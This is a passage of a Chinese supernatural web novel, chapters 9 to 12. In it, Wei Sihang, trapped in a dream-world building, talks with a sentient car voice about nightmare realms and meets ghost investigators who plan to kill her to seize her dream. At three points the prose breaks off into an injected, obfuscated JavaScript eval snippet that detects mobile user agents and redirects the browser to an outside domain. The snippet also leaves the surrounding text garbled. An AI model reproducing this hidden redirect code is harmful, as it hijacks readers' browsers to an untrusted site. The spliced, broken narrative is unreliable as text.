苇思航浑身透着一股察觉不到的亢奋,睡了一觉的她精神饱满,感觉浑身有使不完的牛劲似的——殊不知这一切都是她睡着的时候电子音兢兢业业精神力补给的结果,而后者因为想到一会注定付诸东流的结局,本就有气无力的声音更透出几分面黄肌瘦。 不影响苇思航此时豪气干云,甚至感觉眼前这点小困难似乎都不在话下……吗? 0373驶出积水路面,驶上前往B1的长上坡,不甘地减速在半路停下。 前方的路被一堆碎石堵得严严实实。 他们出不去了。 苇思航拍着刚刚电子音传来的地方——似乎是空调出风口附近——诚心咨询:“系统,在吗?现在怎么办?” 电子音:“这附近应该有柱子吧,你找找,有没有看到?” “看到了看到了。”苇思航道,“好像是承重柱……有点开裂了,看起来不是很牢固的样子……” 电子音:“够用了够用了。” 苇思航:“接下来需要我做什么?” 电子音:“下面听我的:换前进档,抓紧方向盘。” “好。”苇思航依言照做,目视前方,气势如虹,雄心万丈。 “现在踩油门——” 苇思航卡了一下。 “现在?” “嗯。” “……油门?” “对,踩死。” “前面没有路了啊。” “你看路干什么?撞柱子啊!” “干嘛要撞柱子?” “当然是去死!”电子音像是诅咒一样尖叫起来。 “……你说真的?”苇思航脱口而出,还以为自己是哪里做错,以致于得罪了电子音,导致其口出恶言。 她本来以为面前会凭空出现一个逃生通道,什么的…… 她和电子音的想法都格外直给,却是完全不同的方向。 电子音早已放弃挣扎,自认眼下的情况只有重开一条路——死在车里,回到废弃停车场重新开始。 过了一会,苇思航恍然大悟,明白过来,干笑:“哦,原来你是那个意思。” 10. 9. 黑池(二) B2通往B1的车道上,尽头被碎石堵住,一辆白色小汽车停在半途,身后是B2愈发汹涌的积水。 摆在苇思航面前的选择,一头撞死——等于“重开”,回到她一开始醒来的废弃停车场。 电子音道破她循环重生的秘密,苇思航惊讶过后,更觉得亲近,想想觉得理所当然……看来“系统”一直都待在她身边,只是之前因为电量太低休眠了……反正心中已经有了答案,因此剩下所有的一切似乎都在验证它。 电子音要抓狂了:“你在犹豫什么!黑池要追上来了,快重开啊!” “等等,让我捋捋……” “还捋什么捋!困在这里一会电都没了!”看来电子音对于苇思航刚刚白掉的电也十分肉痛。 “这不还有将近一半的电吗!”苇思航的回答十分乐观。 现在貌似不是讨价还价的时候,但…… “我刚才,是进到魇境里面去了?那就是‘梦魇’?”苇思航道,“我在梦魇里死了,所以掉了25%的电,是这样吗?” 电子音憋着一口气,没应,其实也不需要它回答,答案是显而易见的。 “那个魇境,难道只是为了用噩梦吓人?如果现在这里是灵界的梦茧大厦,我在我的梦里面,那魇境里的那个梦茧大厦,又是在哪里?” “……” “问你呢,系统,”苇思航不客气地又上手拍着出风口,“你不是我的系统吗?不应该什么都能解答吗?” 刚冒领了这个名头的电子音骑虎难下,眼见苇思航心意已决,系统拟人地长叹一口气。 “听好了,我只说一次……” 首先要知道的是,“灵界”对应现实世界客观存在,幽灵、梦灵和其他灵体都在此间活动,灵界的外观,来源于大多数灵体对于现实的刻录,比如他们现在所在的梦茧大厦。 人的灵魂在睡梦中出走,作为梦灵来到灵界,梦灵在灵界中的活动本身已经构成“梦”的内容,一般情况下,梦灵对灵界的影响有限,小范围根据自己需求改变身处灵界的能力,被称之为“外化”。 “比如,皮卡丘——你知道皮卡丘吧?这个形象在大多数人的心中根深蒂固,它的尾巴是黄色的,可是某个梦灵做梦的时候记错了,让他梦中皮卡丘的尾巴有了黑色的纹路——类似这种,无伤大雅的小改动,是可以办到的,这个就是‘外化’……” 苇思航:“啊?皮卡丘的尾巴尖不是一直黑色的吗……” “……” 那不是重点! 苇思航陪笑,接话道:“明白了,‘外化’可以让梦灵改变灵界中的事物……这些事物,也包括人吗?” 最后一个问题是她突然想到的。 A梦到B,是A和B的梦灵同时出现,还是A在梦中创造了一个属于他的B,平行于真正的B的意识存在? 电子音停一下,道:“你之后慢慢就知道了,在灵界,只要你的精神力足够强大,一切皆有可能。” “精神力越强,‘外化’能力越强,改变灵界中东西的外观只是最简单的一种,随着外化的深入,当然也可以影响其他梦灵。”电子音继续道,“那这就不得不说到我们的第二个知识点——‘魇境’了。” “魇境”是灵界一种特殊的现象,起因已不可考,普遍认为,它集合了某种长期的集体意识,随机在灵界内游走。一旦爆发,会使一定区域内的梦灵陷入类似的梦魇,每个人都或多或少经历过类似的梦魇。以“黑池”为例,类似的梦魇可以归纳为对深渊的恐惧——引申为深水,又或是高空。 “魇境让梦灵陷入梦魇的方式,实则就是无限放大梦灵的负面‘外化’能力,想象一下,你做一个无比逼真的噩梦,直达你内心最深的恐惧……可想而知其中产生的精神伤害。魇境就是靠吸食这些梦境中产生的精神力来维持运转。” 听到这里,苇思航不由得点点头,想到她刚刚才在一片密封的血泊里被淹死的经历。 “在魇境影响的范围内,所有受影响的梦灵的梦魇同时爆发,内部处在一种极度不稳定的混乱的叠加状态中。打个比方,魇境出现的地方,就像‘薛定谔的猫’里面装猫的那个盒子,有的梦里,猫死了,有的梦里,猫还活着。直到盒子被打开之前,其中发生的一切都不可预料……” 苇思航忍不住打断电子音:“所以什么时候‘盒子’才会打开?换句话说——魇境会持续多久?” “没有固定的持续时间一说。魇境不断吸取梦魇主人的精神力,直到后者精神力无以为继,梦魇也会自动消散,最终会剩下一个最为强大的梦魇,在那个时候,魇境实际上也就不复存在了。” 苇思航若有所思:“听上去像一个耐力比赛。” 电子音停一下:“是的,你可以这样简单理解。” “留到最后的梦魇胜出……那有什么奖励吗?” “有吧……避免了精神力创伤先不论,单说一个完全随你心意创造的世界……算不算呢?” 苇思航有点糊涂了。 “可你刚刚说了,梦魇的实质是极为强大逼真的噩梦……怎么会是奖励?” “那要看你怎么想了。”电子音道,“魇境理论上引起的梦魇是噩梦不错……不过同样都是站在高处,有些人会觉得害怕,有些人却会觉得刺激,梦魇因人而异,造成的精神力伤害也天差地别。反过来说,能留到最后,战胜其他人,成为盒子里最后那只‘猫’的梦魇,如果对于主人来说真的那样难以忍受,也不会坚持到最后了,不是吗?” 不仅不是噩梦,而且可以运用魇境中无限外化的能力,如同造物主一般随心所欲的梦境…… 苇思航若有所思,咀嚼着电子音话里的奥秘。 “最后那只猫……创造世界……” 有什么亮光从她脑海中一闪而过。 “盒子里猫最终的状态,是由赢家定义的……也就是说,盒子打开后出现的最后一只猫,也有可能不是一开始那只咯?所以,最后一个梦魇中的梦茧大厦,可能将灵界中的‘梦茧大厦’取而代之吗?” 电子音又顿了一下,还是老实作答。 “理论上可行。不过只有短暂的窗口期……” 苇思航只当听见了肯定的答案,双眼放光,兴奋不已。 她好像找到逃出去的办法了! 那么她只要重新进入魇境,先这样,再那样……在自己的梦魇中改变灵界中梦茧大厦地下停车场的布局,只要她坚持到魇境的最后,反过来影响灵界,那逃出去还不是分分钟的事? ……她还是这么乐观。 电子音已然明白了苇思航此时心里正在打什么主意,深感自己有必要泼她冷水。 需不需要它再提醒一下她,她刚才的记录是五分钟而已? “奉劝你别想着再进去一遭,你不可能办到的。”电子音提高音量,把苇思航的思绪拉回。 苇思航被拆穿心思,嘿嘿一笑,没心没肺道:“不试试怎么知道!” “……放弃吧。”它幽幽道,“真的,别浪费力气,还是一头撞死最划算。” 苇思航不服:“为啥?” 电子音冷冷道:“首先,你精神力太弱。” 无需“其次”,绝杀已至。苇思航竟无言以对。 “真的,别浪费电量了。”电子音格外务实,甚是苦口婆心。 现在撞车,回到停车场复活,留着这些电量,还不算白来一趟。反正电子音已经想好了话术,下次提前以“系统”身份出现,说服苇思航不要死磕梦茧大厦了嘛…… 苇思航在思考。 她要不要接受“系统”的建议? “怎么能叫浪费?”她不爽,“为了留着这些电给下一个苇思航用?我凭什么为她打算?” “……” 苇思航仿佛自言自语。 “我们都以为是‘我’在复活,有没有可能,是‘我’在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670549|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重死?”苇思航指着自己,虽然电子音看不见,“‘我’这个苇思航失去连续记忆的那一刻就已经死掉了,我没法总想着给下一个苇思航打算,凭啥?还指望她感激我啊?” “……” 她想起自己15%的电量开局,可想而知,上一个苇思航也和她想的一样。 她还有55%的电量,虽然不算多,至少还有机会,何必一定选择自杀这条路?而且,刚刚从电子音那里了解了那么多干货,她现在觉得自己强的可怕! ——要是电子音知道此时苇思航的心声,一定后悔当时开了口…… 苇思航说什么还要再去,电子音见多说无益,不吭声了。 “系统,我这都是为了你啊!” “?” “你说这些只会讲一遍,”打开车门前,苇思航道:“所以,我一定会回来的!等我,咱们一起开车离开这里!” 嚯,临走都不忘立个flag。 电子音无精打采,又一次听见车门被毫不犹豫关上的声音。后视镜里,苇思航朝着低处的黑水一步步走近。 * 于是,就是这样,苇思航第二次进入魇境。 “苏秀禾”和萌萌一起走进电梯里。电梯门缓缓关上,苏秀禾——其实是苇思航,在看不见的地方攥紧手指。 上一次在电梯中的恐怖遭遇仿佛还历历在目。苇思航定了定神。 电梯内的金属镜面照出此时电梯内的场景,苇思航看着身边的红发小姑娘朝矮胖的苏秀禾微微欠身,关心道:“苏姐,你脸色不太好看,没事吧?” 苇思航僵硬地提起一个笑:“没事。” 萌萌眨了眨眼,苇思航看着,心想,这双眼睛,一会也会跟着血浆一起,从这具身体里迸出来吧? 她这次有了心理准备,无比清晰地知道自己正在梦魇之中。 魇境是梦灵集体意识的集合,但苇思航宁愿相信,它自身也有着某种意识,一种纯粹的恶意。 不过好像不太聪明的样子。 比如,仅凭一张名牌,把她认成“苏秀禾”。 这一次出现的新人物“萌萌”——这其实是苇思航的一个测试。她在尝试电子音提到的,所谓“外化”的力量。而她脑中想的对象,当然是——陆萌。 只是或许真是因为她的精神力太不济了吧,出现在这里的不是真正的陆萌,只是魇境造给她的一个赝品,企图蒙混过关。 魇境以吸食梦灵负面情绪为乐,负面情绪,也是精神力的一种。怨恨、愤怒、恐惧、悲伤、沮丧,孤独……沉浸在这些情绪之中,其实都很耗费能量,不是吗? 电梯里再一次渗出血液。却是出现在苇思航脚下。 “哎呀,这是什么?苏姐,你怎么了?”萌萌第一个叫起来,话里的幸灾乐祸快要压不住了。 所有人的目光齐刷刷转过来,充满了震惊和嫌恶。 苇思航:“……” 大庭广众之下出丑,比在电梯里被血淹死要恐怖多了好嘛! 没想到魇境临时改了剧本……好,这么玩是吧? 嘿嘿,只是皮一下。 可能是察觉到苇思航对此并不感冒,电梯里再次涌入粘稠的鲜血,这一次周围的人和上一次的淡定不同,开始慌张起来,极力渲染恐慌氛围。 水位上升得比第一次更快,在血海中挣扎哀嚎的人们衬得此间宛如人间炼狱,现场顿时从安静炖煮的罗宋汤变成了西红柿榨汁机的内部。其中,一个穿着仿佛大号黑色裹尸袋的肥胖女人毫无感情又相当灵活地踩着不成人形的一群人向上攀爬,她手里拿着一根死人领带,钩住了顶部的通风窗,借着上肢的力量向上突围。 只有头还露出水面的萌萌在下面拽着她的腿不放。 “死肥婆——”尖利的声音仿佛精神污染。 苇思航把萌萌一脚踹开,朝着头顶趴着看了很久热闹的那只鬼大叫:“搭把手,救命啊啊啊啊啊——” 11. 10. 黑池(三) 苇思航不停地咳嗽,窒息的感觉挥之不去,仿佛还有无数粘稠的血块从她的口鼻中涌出。睫毛上糊了一层血浆,她抹一把脸也无济于事,眼前一片血红,属实狼狈。 此曾相识的濒死感,她扭头看了看周围,确定她现在趴在电梯顶上,而不是0373的方向盘。低下头,身下下方已经灌注完毕的电梯内部盛满猩红的血浆,刚才混乱的一幕幕如同人间炼狱,眼下平静的水面反而显得诡异。 就在刚才鲜血即将没顶的最后关头,顶上的幽灵好心拉了苇思航一把,苇思航还没能向他道谢,只听熟悉的“叮”的一声,打破了死寂。电梯停靠在15楼,门再次打开了,充满了一整个轿厢的鲜血顿时泄闸一样奔涌而出,内外压力的变化,使得整个轿厢跟着不祥地轻颤。 苇思航心里警惕危险的雷达也跟着蜂鸣起来,她不敢耽搁,力气灌注虚软的手脚,迅速爬起身,身在高处的感觉让人头晕目眩。好在她脑子还算清醒,附近是电梯井,墙上有凹槽可以供人攀爬,苇思航抓着固定电梯的粗缆绳,手脚并用,成功躲进15层和16层之间的凹槽里。凹槽十分窄小,她紧紧贴着墙壁站着,面前就是15层楼高的深渊。黑洞洞的底部想要把人吸进去,她听见自己粗重的喘息在贯通的电梯间里回响。 几乎是她刚刚站直身体的同时,下面空无一人的电梯停止了颤抖,下一瞬,突然毫无预兆地朝下坠去。失速坠落的轿厢带起的风吹动苇思航的头发,她朝下瞥了一眼,感到背上阵阵冷汗,不敢再看。 黑池魇境,警惕深水,又或是,高空。短暂的时间里,就给苇思航接连上了两课。 轰然一声巨响,下方传来轿厢落地的声音,此时此刻,想必已经在强烈的冲击下化作铁饼一块。 好险好险。 苇思航劫后余生,心脏狂跳,终于有了一丝喘息的机会,转头,目光与身边另外一个人——幽灵——对上。 为什么苇思航一眼就看出他是个幽灵,而不是别的呢……原因很简单。 首先,她自认精神力好像没到拉别的梦灵进来的程度……看那个拙劣的“萌萌”就知道了。 然后,转念一想,也是,魇境来袭,梦茧大厦内部的幽灵都哪里去了? 魇境爆发的时候,范围内的幽灵也不可能不受到影响,唯一不同的是,幽灵本身没有造梦的能力,只能进入梦灵的梦魇之中。 ——苇思航此时还对这些一无所知,看着对面,惊奇地忘了言语。 对方身穿一身陈旧道袍,后脑上桃木簪束起一个发髻,全身不动,定定悬空飘在电梯井之中。一张黄符贴在脸上,挡去了大部分五官,那张黄符在他脸上毫无起伏,甚至让人怀疑他是否仍在呼吸,哪怕刚刚下方电梯坠井掀起的劲风,也未能掀起符咒本身一分一毫。 一个……道士鬼? 苇思航心想,幸好这个梦境的场景是白天的办公楼,假如换成民俗背景,这位道长简直可以直接去当吓人的NPC了…… “在下含晦。灵管局4102科调查员。”对方先开口自我介绍,声音平和,苇思航的眼睛猛地瞪大了! 灵管局! 这不就是她一直翘首盼望的警察叔叔吗!苇思航如遇救星,心里说不出的激动。 那叫“含晦”的幽灵道长顿了一下,礼貌询问:“你就是此处15层梦境的主人?” “是……是,我叫苇思航,你可以叫我……小苇。”苇思航即答,一向以“苇姐”自居的她颇识时务,险些语无伦次,“刚才多谢道长搭救!” 含晦摇摇头,淡道:“不用谢。” “实不相瞒,这是我第一次进入魇境,”——其实是第二次。苇思航撒了个无伤大雅的小谎,含晦正要说什么,遭到苇思航下定决心的抢白:“道长是来此处公干?有没有我能帮上忙的?看您也是一个人,不如暂时和我组个队吧?” 黑衣女人看起来十分诚恳,透着一股子警民一家亲的热心。 含晦悬在半空,在黄符之后将她看了一看。 “此处危险。”半晌,他终于开口道,对刚刚苇思航的邀约,约等于默认了,“咱们要怎么回到楼里去?” “……”苇思航本来还想问呢! 警察叔叔不应该比她更有经验点吗? 转念一想,也是,这里是她的梦,当然要问她! 苇思航看着周围的环境发了一会愁。 梦魇里的场景,都是根据主人自己的经验、记忆或潜意识渲染而来,他们现在所处的电梯井,很像苇思航之前看过的美国大片,苇思航克制不去想主人公在其中和突然出现的怪物在高空英勇搏斗的场面。 她现在据说拥有放大的“外化”能力,然而不知道运用的诀窍,只怕搬起石头砸自己的脚。 经过刚才的电梯惊魂,魇境正处在平静的间歇,但谁知道下一次死亡威胁会是什么时候?在这里坐以待毙太过被动,她可没有信心能一直待在这里坚持到最后。 “有了!”同样受到了美国大片的启发,苇思航眼前一亮。 她背靠着墙壁,小步挪动,一只手在墙上摸索,一个站不稳,就要像刚才的轿厢一样跌落。 终于,在一个不起眼的地方,她找到了一个松动的入口,一个老旧的气窗。她说不好,这个气窗是一直在那里吗?还是经过她的想象之后才“外化”出现的? 她坚持不懈地扪了两下,气窗松动的外壳脱落坠井,其后一个可供人通过的通风管道现身。她再手脚并用,像壁虎一样将自己胖大的身体腾挪过去。 不一会,苇思航四肢匍匐在通风管道里,朝前艰难爬行,含晦很快也跟了过来。 中央空调通风管道一端通到电梯井,管道网络俯瞰整个办公楼工作区,他们重新回到了楼体里,朝着深处进发。 管道内光线阴暗,空气浑浊,想必味道不怎么好闻,幸而作为梦灵的苇思航什么都闻不到。她作为“苏秀禾”的身材挤进里面,逼仄的感觉更甚,压抑的感觉来自四面八方,苇思航感觉自己快要得幽闭恐惧症了,咬着牙朝着远处办公区传来的光亮爬去。 在她身后,含晦也屈身跟随,依旧默然无语。苇思航的心里泛着嘀咕,本以为抱了个大腿,谁知只是多了条尾巴。 爬了不一会,管道下方的网格片透进更大片的光亮,原来已经到达办公区上方,下方的一切尽收眼底。在他们身下,井井有条的桌椅分割成一个又一个格子状的工位。 苇思航听到了声音。 敲键盘的声音,电脑椅的轮子在地上滑动的声音,订书机咬合的声音,打印机孜孜不倦吐纸的声音…… 她看到了人。 发出那些热闹声音的男男女女,正沉默地在各自的工位做着自己的事。 类似的场景每天都在办公楼里上演,多么亲切啊! 苇思航低头看见他们面无表情的头顶,在其中看到了熟悉的红发。 ——是萌萌! 电梯里的一幕幕还如在眼前,萌萌,还有除她之外办公室里的其他人,都似曾相识,仿佛重复登场的演员,正兢兢业业在一个全新的布景里扮演着微不足道的角色,作为导演的苇思航只是为自己的想象力感到尴尬…… 她觉得有点喘不上来气……好像,好像也不至于尴尬到这种地步,咦,不对…… 她感觉“苏秀禾”本就举步维艰的庞大体型还在膨胀! 又或者是整个管道正在收窄? 异变再次袭来,她身上的肥肉紧紧贴着冰凉的管道壁,感觉到管道四周的压迫感,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670550|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始挣扎起来,整个管道发出“轰隆”“轰隆”的声音,好像一根被堵住的吸管,连带着天花板的四角似乎也跟着震动着。 竟是想要把她在管道里活活憋死! 此时下面的人也察觉了头顶的异响,不约而同抬起头来—— 苇思航感觉无数道麻木而诡异的目光朝她射来,他们一模一样黑洞洞的眼眶毫无生气,如同深不可测的暗河…… 苇思航来不及骇然,嘴里发出艰难喘息的“嗬嗬”声,急切地朝前伸手,胡乱寻摸,指尖碰到通风管道的气窗出口,仅仅咫尺之遥,重获自由的空气就在前方,她却被卡在此处,收紧的管道箍的她无法继续前进。 惊吓、懊悔、悲伤、愤怒……魇境以这些负面情绪的精神力为食,其中最受青睐的,应当是——绝望。 如果魇境的背后有某种邪恶的意识,此刻必定在不为人知之处发出蔑笑。 魇境的发力就在短短的时间内,不过几秒,苇思航被卡的几乎翻白眼,身后含晦终于也察觉到了不对,从后面帮忙朝出口推着她的脚,但收效甚微。 缓缓收紧的窒息感,空气被挤压出肺部的感觉,比起上次的死法,这次好像还要更窝囊一些……一瞬间,苇思航像是看见了0373的仪表盘,这一次又要结束了吗…… 天花板的震动越来越明显,一开始让人误以为是受到管道的影响,其实不然。魇境内部正在酝酿着某种异动……就是在这个时候,一声近在咫尺的巨响传来,什么重物从上坠落,天花板被砸开了,他们所在的通风管道也没能幸免,从中断开,斜吊在半空。 重力的作用在此时帮了忙,苇思航的身体失去了平衡,头朝下倾斜,顺着管道被“吐”了出来,她扑倒在地的样子既笨重又狼狈。 几乎和她同时,从天花板上掉下来的另一个影子也就势在地上一滚。刚刚那些呆滞的上班族们转眼已经不见了。 倒在地上的苇思航觉得自己处在晕厥的边缘,萎缩的肺重新开始吞吐,带动着浑身的肥肉颤抖起来,眼前仍是一片黑白雪花,尚未显出事物的轮廓。 她迷迷糊糊之间,只听身边含晦惊喜的声音:“科长!” ——那个从天而降的东西,竟然是个人……不,应该说,另一个幽灵。 含晦也从通风管道中得以脱身。苇思航反应过来,那另外一人是他的同伴,心中先是一松。 天知道那位“科长”是从哪里凭空出现,也幸亏他此时出现,救了苇思航一命。 被称作“科长”的从天而降的男人很快站起身,勾起脚尖踢了踢一旁黑乎乎的一团——苇思航本人。 苇思航忍。趴在地上装死,继续听着科长与含晦之间的对话。显然,他们对于见到彼此也十分惊喜。 “这个魇境有点不对劲……我刚刚在的23层一开始还好好的,突然塌了……”那科长道,意指脚下的苇思航,“这是?” 含晦:“她是这层梦魇的主人!” “唔,这层梦魇什么情况?” 不久前还像闷葫芦一样的含晦一股脑开始汇报:“比较常规,讲一定逻辑,看得出主人想象力贫乏……NPC有点痴呆,不过还算友善,总体来说还算安全。” 苇思航在一旁听见这个评价,不知道该不该生气:“……” “那不错啊,现在这种梦可不多了。”“科长”声音粗哑,听着让人感觉怪难受的,苇思航很想睁开眼看下他的样子,脖子扭在一个奇怪的角度,一时没能动弹。 “正好,咱们现在都在这里,要尽快绑定,就由你来接管……喏,把这个梦灵杀了吧。” 那语气轻松的好像在讨论拍死一只蚊子。 刚刚死里逃生的苇思航:???!!! ……绝望啊。 12. 11. 黑池(四) 到了这个时候,苇思航再也忍不住了。 她趴在地上,像怨鬼一样,撑起身体,脖子“咔咔”地转到一侧,怒瞪含晦,实在是气不过。 真正应该被叫做“鬼”的含晦反被吓得后退一步,像是对她还有意识感到十分惊讶,黄符之后露出来的脸色比打印纸还白。 之前含晦一直没来得及告诉苇思航的——这其实也是他第一次进魇境。 苇思航也不知道自己之前是被什么蒙了眼,之前看着还高深莫测的幽灵道长,现在一看——纯纯菜鸟嘛! 目光微一偏,苇思航也看到了含晦身边的那位“科长”的真容。他身材高大,留着胡须,眼角有一条疤,看着就不好惹,他的武器是一把长刀——刚才通风管道整齐的断口似乎有了解释。可他此时西装革履,衣服小了一号,看起来有点窝囊,一句话形容——像个套了层社畜皮的□□老大。 ——常年混迹于各大魇境,4102号调查科长尉迟龙鸣经验丰富,熟练掌握各项梦魇中伪装技术,早已忘记自己原本的模样。现在的他看起来还是不久前二十三层梦魇里的小职员。 至于为什么要伪装……在某些危险的梦魇中,过于格格不入引人注目的幽灵可能会受到梦魇中意识体的攻击,意识体——套用现实中的游戏术语,被简单称为NPC的。为了顺利执行任务,富有经验的调查员往往会选择融入梦境的外形以省去那些麻烦。 此时,尉迟龙鸣见苇思航转过头来,也有些惊讶,然后很快接受了,对于刚刚大声密谋的谋杀毫无悔意,甚至有了如下一段经典的对话。 “你瞅啥?” 苇思航:“瞅你咋地?” “你再瞅试试!” “试试就试试!” 苇思航也不知是不是豁出去了,瞪圆了眼睛,丝毫不惧,对面也因她凶狠的目光一愣。 “你不是说你是灵管局的吗?你骗人?”苇思航梗着脖子,转向一旁的含晦。 含晦坐立难安:“苇姑娘,我没骗你,我们确实是灵管局的没错……” “那你们还要杀我?我都听见了!” 含晦:“只是为了执行公务,并不是针对你个人……” “什么公务要杀人执行?” 含晦正要解释,被尉迟龙鸣打断。 “懒得跟她唧唧歪歪的,吵死了!”尉迟龙鸣一挥手,直接把手中刀递去,“别废话,咱一会还有正事呢!” 含晦犹犹豫豫地接过长刀,看起来难以下定决心。 “等下,等下。”苇思航看见刀,顿时冷静了些,换上另一副语气,同时坐直了身体,“我不想死,反倒是你们,咱们之间又没什么深仇大恨,你们有什么一定要杀我的理由吗?” “你不想死?”没等含晦说话,尉迟龙鸣像是听到了什么笑话一样,“大姐,咱们现在是在魇境里!一刀结果是送你解脱!别整的好像我们是杀人犯似的……我们可是公务员!话说你刚才不是也差点死了……那什么死法啊,在通风管道里被憋死?在黑池里简直闻所未闻……” 苇思航才不理他,坚持看着含晦,道:“道长,我只听你解释。” 一旁尉迟龙鸣讨了个没趣,摸摸鼻子,未置可否。 含晦看看这边,又看看那边,终于道。 “好吧……” 于是含晦简短交待了他们现在的处境。 他和尉迟龙鸣确实都是调查科下属的幽灵没错。不过和苇思航想的不一样,他们并不是本就在梦茧大厦被迫卷入,而是主动来到这里执行任务——每当魇境爆发,灵管局会派遣调查员前往,这是惯例。而他们作为调查员的目标只有一个,就是尽量缩短魇境持续的时间,避免其对灵界以及灵体产生不利的影响。 幽灵无法做梦,也不具备梦魇中的外化能力,作为外来者还要承受梦魇中意识体的攻击,稍有不慎举步维艰,因此为了行事方便,会选择杀死梦灵接管梦魇。 含晦举了一个不太像他本人的例子:“如果把魇境想象成一个游戏的话,我们现在想办法注册账号……顶替梦灵成为玩家,而原本的梦灵不会立即登出,而是“挂机”——进入意识的边缘,直到魇境消散后正式醒来。” “所以,”苇思航指着自己,“我被你们选中了?” “坦白来讲,”含晦抿了抿唇,道,“你的精神力很弱,如果不是……我们没得选。” 苇思航:“……” 每当被提醒精神力很弱的事实,她总是无力反驳。 目前为止,她的梦魇是很平庸普通没错啦,甚至如果不是因为正好遇到了眼前这两人,她已经死了至少两次了。 苇思航追问:“如果不是什么?” 含晦闻言没有立即回答,而是看向一旁的尉迟龙鸣,不知当不当讲。 苇思航转念放弃了追问,改道:“你身边这位……” 她指的是尉迟龙鸣,却正眼也不给他一个,仍然看着含晦。 ——对了,刚刚还没来得及介绍,因此苇思航还不知道他的名字。 “尉迟龙鸣。”顿了顿,对方主动报上名字。苇思航轻轻一笑,满意了:“农民兄——” “……” 苇思航冲尉迟龙鸣颔首,装作没看见他脸上便秘的神色,很快便转过头去,目光定定落在含晦的黄符之上,又叫了一声:“——含晦道长。” 听那语气,她接下来要讲的话很重要。 “不瞒你们说,我也是主动进入魇境的,我说我不想死,也是真的,因为我的目标——是要活到最后!” 含晦身形微顿,尉迟龙鸣目光一凛。 苇思航的声音在空旷的办公区里回响。 “我有必须那样做的理由,事先声明,绝对不会对灵界产生什么不利影响——我想你们可能会顾虑这个。”苇思航继续道,“至于你们二位的目标,尽快结束魇境,我也求之不得嘛……我想说的是,我们并不是没得选……我们可以选择结盟。” 加上不久前电梯外那次,这已经是苇思航第二次发出组队邀请。 不等含晦开口,尉迟龙鸣眉毛一挑。 “你想让我们帮你?” 苇思航微笑:“算是互帮互助吧。你们毕竟现在在我的梦境中,我不会主动攻击你们,你们休整一下,不很好吗?再者说,就算你们现在接管了我这个平平无奇的梦魇,对你们的作用终归有限,不如留着精神力用在更重要的地方,你觉得呢?” 尉迟龙鸣不答。苇思航心里有了底,她猜对了。 幽灵杀死梦灵可行,看来也不是全无限制。否则,穿梭各个梦魇大开杀戒不就得了?至于限制的条件,苇思航自然而然地想到了精神力。 她的另一重筹码,则是他们身处的,混乱无序的魇境本身。 她此时状似无意,问起尉迟龙鸣:“刚才我听见了,你是从上面某层梦魇掉下来的?什么情况?” 不知是不是错觉,尉迟龙鸣硬汉的脸上竟微微发白。 那股把他直接从梦魇中强制弹出的力量,他来不及细想……似乎是另一个梦魇的侵噬……不,不可能! 像是听见了他心里的声音,23层梦魇崩塌之前的景象再次出现。天花板开始震动,地板也跟着发颤,白炽灯晃动着,扑簌簌抖落下灰尘,像是一张灰色的网罗扣下,墙壁上,标识了楼层的数字像坏掉的电视画面一样频闪起来。 不,不对,这不是23层崩塌前的闪回,而是实实在在地正发生在他们身边,此时,此地——15层梦魇! 尉迟龙鸣抬起头,看到刚才胸有成竹的苇思航,此时同样一脸惊愕与茫然。 作为梦境的主人,她下意识以为问题出自自己身上,这是怎么了? “我没有……” 一句话没能说完。 苇思航看见尉迟龙鸣面色铁青,嘴巴像水池里的金鱼一样一张一合,却没有任何声音传出。 嘭——! 嘭嘭—— 强烈的气爆声震得人有一刹那的失聪,天花板和地板同时开裂,百叶窗和震碎的玻璃在卷进的狂风里狂舞。 苇思航来不及思考,几乎是下意识的反应,就近藏进一旁的办公桌底,强烈的震感从楼体内部传来! 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670551|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时候,她终于意识到,问题并不出在她身上……不说别的,睁大眼睛看看,她哪有这么大的威力啊! 这一层的落地窗齐齐爆裂,像是有一只无形的手伸进来,把一切都捣烂,整片办公区如同被投入沸油的冷水,骤然炸开混乱的涡流。巨大的吸力从大楼外袭来,纸张、文件夹、键盘、鼠标……一切未被固定的物体瞬间腾空而起,被甩向破碎的窗外。 “轰——” 吊顶轰然倒塌,埋在其中的电线也暴露无疑,一节一节扭曲绷断,地毯被整片掀起,露出下方裸露的楼板,一块一块剥蚀脱落,被飓风一般的吸力扯向高空。打印机、沙发、办公椅……所有稍大的物件也未能幸免,它们翻滚着、碰撞着,像被丢进绞肉机的玩具,眨眼间消失在刺目的天光里。 苇思航藏身的整一列办公桌足有三米长,看上去足够可靠的掩体,却也逃不过被毁灭的命运,很快被掀翻,扔出窗外,苇思航重新暴露在天光下,待看清了周围的场景,不禁寒气直至脚底。 发生了什么? 